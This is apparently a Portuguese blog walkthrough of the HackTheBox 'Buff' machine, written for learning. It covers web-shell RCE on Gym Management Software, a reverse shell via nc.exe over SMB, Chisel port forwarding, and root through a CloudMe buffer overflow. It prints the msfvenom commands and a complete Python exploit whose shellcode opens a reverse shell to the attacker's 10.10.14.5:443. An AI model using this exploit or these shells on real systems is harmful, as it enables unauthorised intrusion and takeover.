HackTheBox – Buff (passo a passo)

Salve rapaziada, dahora legal?

Hoje irei trazer o passo a passo da máquina Buff do HTB. Para essa máquina são necessárias as habilidades:

  • Enumeração
  • Conhecimentos básicos em Redes
  • Port Forwarding
  • Buffer Overflow

Então só vamos.

Enumeração

Comecei fazendo um scan nas portas abertas do host, com isso encontrei a porta 8080 rodando uma apache 2.4.43 no Windows.

Ao enumerar um pouco o site, descubro o nome e a versão do sistema web na aba Contact.
Sistema: Gym Management Software 1.0

Web Shell

Com o nome e versão do sistema, começo a busca por Exploits de vulnerabilidades já conhecidas.

De cara já encontrei a vulnerabilidade de RCE sem necessidade de autenticação. Com a vulnerabilidade é possível dar um bypass no upload de imagem, e através do upload subir uma web shell no servidor.

Ao executar o Exploit consegui acesso a web shell do servidor.

Com isso consegui a primeira flag, user.txt

O acesso a web shell é um acesso bem limitado e que complica bastante a pós exploração, por isso eu vou evoluir o web shell para um reverse shell.

Para isso vou usar o nc.exe. O primeiro passo é transferir o nc.exe da minha máquina local para a máquina alvo, pois o Windows por padrão não tem nc.

Para fazer a transferência, primeiramente procurei na minha máquina local (Kali Linux) se já existia o nc.exe com locate.

Depois executei um servidor SMB no caminho onde o nc.exe se encontra. Para isso usei o smbserver.py. Obs: Os sistemas mais atuais do Windows necessitam de usuário e senha para o SMB funcionar

Na máquina alvo, fiz o conexão do SMB apontando para meu host local.

Após efetuar a conexão, copiei o nc.exe para dentro de programdata

Na minha máquina local, abri a porta 443

Na máquina alvo, usei o nc.exe para enviar o cmd para minha máquina local, e assim consegui concluir o reverse shell.

Escalação de Privilégio

Após conseguir um shell melhorado, comecei a enumerar a máquina. Dentro da pasta de Downloads do usuário Shaun, encontrei o arquivo CloudMe_1112.exe.

Com uma breve pesquisa no Google, encontrei uma Vulnerabilidade de Buffer OverFlow. A vulnerabilidade de buffer overflow consiste em explorar parâmetros mal configurados no código de sistemas, permitindo enviar um payload malicioso, como um shell reverse.

Executei o .exe na máquina alvo.

Ao executar o programa, preciso descobrir em qual porta ele está rodando, para isso usei o comando netstat.
Localmente está rodando as portas 3306 e 8888. Por experiência eu sei que a 3306 é do mysql, então com uma breve pesquisa na internet descubro que a 8888 se refere ao CloudMe

Port Forwarding

Como a porta está rodando apenas localmente, irei precisei fazer um Port Forwarding para que eu consiga rodar o Exploit através do meu Kali Linux, para isso irei usar o Chisel.

Na minha máquina local, criei o servidor que ficará escutando na porta 8000

Na máquina alvo, usei o client para fechar a conexão, apontando para minha máquina local.
Obs: Precisei passar o chisel_1.7.3_windows_amd64 para a máquina alvo, para isso usei o SMB

Com o túnel fechado, posso executar o exploit em minha máquina local, pois todo tráfego na porta 8888 será enviado para a máquina alvo.

Escalação de Privilégio: Buffer Overflow

Como o Exploit já está praticamente pronto, tudo que precisei fazer foi editar o payload. O payload do exploit pronto é:

msfvenom -a x86 -p windows/exec CMD=calc.exe -b '\x00\x0A\x0D' -f python

Na edição do payload, eu troquei o windows/exec para o windows/shell_reverse_tcp e adicionei o LHOST e LPORT que são parâmetros para o reverse shell funcionar. Com a opção -v adicionei o nome da váriavel como payload

Com as alterações, ficou:

msfvenom -a x86 -p windows/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -b '\x00\x0A\x0D' -f python -v payload

Criei o payload com vsfvenom e editei o payload do Exploit.

O payload editado ficou assim:

# Exploit Title: CloudMe 1.11.2 - Buffer Overflow (PoC)
# Date: 2020-04-27
# Exploit Author: Andy Bowden
# Vendor Homepage: https://www.cloudme.com/en
# Software Link: https://www.cloudme.com/downloads/CloudMe_1112.exe
# Version: CloudMe 1.11.2
# Tested on: Windows 10 x86

#Instructions:
# Start the CloudMe service and run the script.

import socket

target = "127.0.0.1"

padding1   = b"\x90" * 1052
EIP        = b"\xB5\x42\xA8\x68" # 0x68A842B5 -> PUSH ESP, RET
NOPS       = b"\x90" * 30

#msfvenom -a x86 -p windows/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -b '\x00\x0A\x0D' -f python -v payload
payload =  b""
payload += b"\xb8\x3d\xa8\xa4\x7c\xdb\xc2\xd9\x74\x24\xf4\x5a"
payload += b"\x33\xc9\xb1\x52\x31\x42\x12\x03\x42\x12\x83\xd7"
payload += b"\x54\x46\x89\xdb\x4d\x05\x72\x23\x8e\x6a\xfa\xc6"
payload += b"\xbf\xaa\x98\x83\x90\x1a\xea\xc1\x1c\xd0\xbe\xf1"
payload += b"\x97\x94\x16\xf6\x10\x12\x41\x39\xa0\x0f\xb1\x58"
payload += b"\x22\x52\xe6\xba\x1b\x9d\xfb\xbb\x5c\xc0\xf6\xe9"
payload += b"\x35\x8e\xa5\x1d\x31\xda\x75\x96\x09\xca\xfd\x4b"
payload += b"\xd9\xed\x2c\xda\x51\xb4\xee\xdd\xb6\xcc\xa6\xc5"
payload += b"\xdb\xe9\x71\x7e\x2f\x85\x83\x56\x61\x66\x2f\x97"
payload += b"\x4d\x95\x31\xd0\x6a\x46\x44\x28\x89\xfb\x5f\xef"
payload += b"\xf3\x27\xd5\xeb\x54\xa3\x4d\xd7\x65\x60\x0b\x9c"
payload += b"\x6a\xcd\x5f\xfa\x6e\xd0\x8c\x71\x8a\x59\x33\x55"
payload += b"\x1a\x19\x10\x71\x46\xf9\x39\x20\x22\xac\x46\x32"
payload += b"\x8d\x11\xe3\x39\x20\x45\x9e\x60\x2d\xaa\x93\x9a"
payload += b"\xad\xa4\xa4\xe9\x9f\x6b\x1f\x65\xac\xe4\xb9\x72"
payload += b"\xd3\xde\x7e\xec\x2a\xe1\x7e\x25\xe9\xb5\x2e\x5d"
payload += b"\xd8\xb5\xa4\x9d\xe5\x63\x6a\xcd\x49\xdc\xcb\xbd"
payload += b"\x29\x8c\xa3\xd7\xa5\xf3\xd4\xd8\x6f\x9c\x7f\x23"
payload += b"\xf8\xa9\x75\x25\xfd\xc5\x8b\x39\xfc\xae\x05\xdf"
payload += b"\x94\xc0\x43\x48\x01\x78\xce\x02\xb0\x85\xc4\x6f"
payload += b"\xf2\x0e\xeb\x90\xbd\xe6\x86\x82\x2a\x07\xdd\xf8"
payload += b"\xfd\x18\xcb\x94\x62\x8a\x90\x64\xec\xb7\x0e\x33"
payload += b"\xb9\x06\x47\xd1\x57\x30\xf1\xc7\xa5\xa4\x3a\x43"
payload += b"\x72\x15\xc4\x4a\xf7\x21\xe2\x5c\xc1\xaa\xae\x08"
payload += b"\x9d\xfc\x78\xe6\x5b\x57\xcb\x50\x32\x04\x85\x34"
payload += b"\xc3\x66\x16\x42\xcc\xa2\xe0\xaa\x7d\x1b\xb5\xd5"
payload += b"\xb2\xcb\x31\xae\xae\x6b\xbd\x65\x6b\x9b\xf4\x27"
payload += b"\xda\x34\x51\xb2\x5e\x59\x62\x69\x9c\x64\xe1\x9b"
payload += b"\x5d\x93\xf9\xee\x58\xdf\xbd\x03\x11\x70\x28\x23"
payload += b"\x86\x71\x79"


overrun    = b"C" * (1500 - len(padding1 + NOPS + EIP + payload))

buf = padding1 + EIP + NOPS + payload + overrun 

try:
        s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((target,8888))
        s.send(buf)
except Exception as e:
        print(sys.exc_value)

Então para que o reverse shell seja concluído, eu abri a porta 443 no meu localhost.

E executei o Exploit, que através do buffer overflow enviou a shell para meu localhost.

E assim consegui o acesso privilegiado e a flag root.txt.

Sobre Vitor Prado 37 Artigos
Nascido e criado nas periferias de Diadema-SP, encontrei no estudo e no conhecimento uma forma alternativa de enfrentar os desafios da vida, apesar das muitas barreiras colocadas no caminho.

Seja o primeiro a comentar

Faça um comentário

Seu e-mail não será divulgado.


*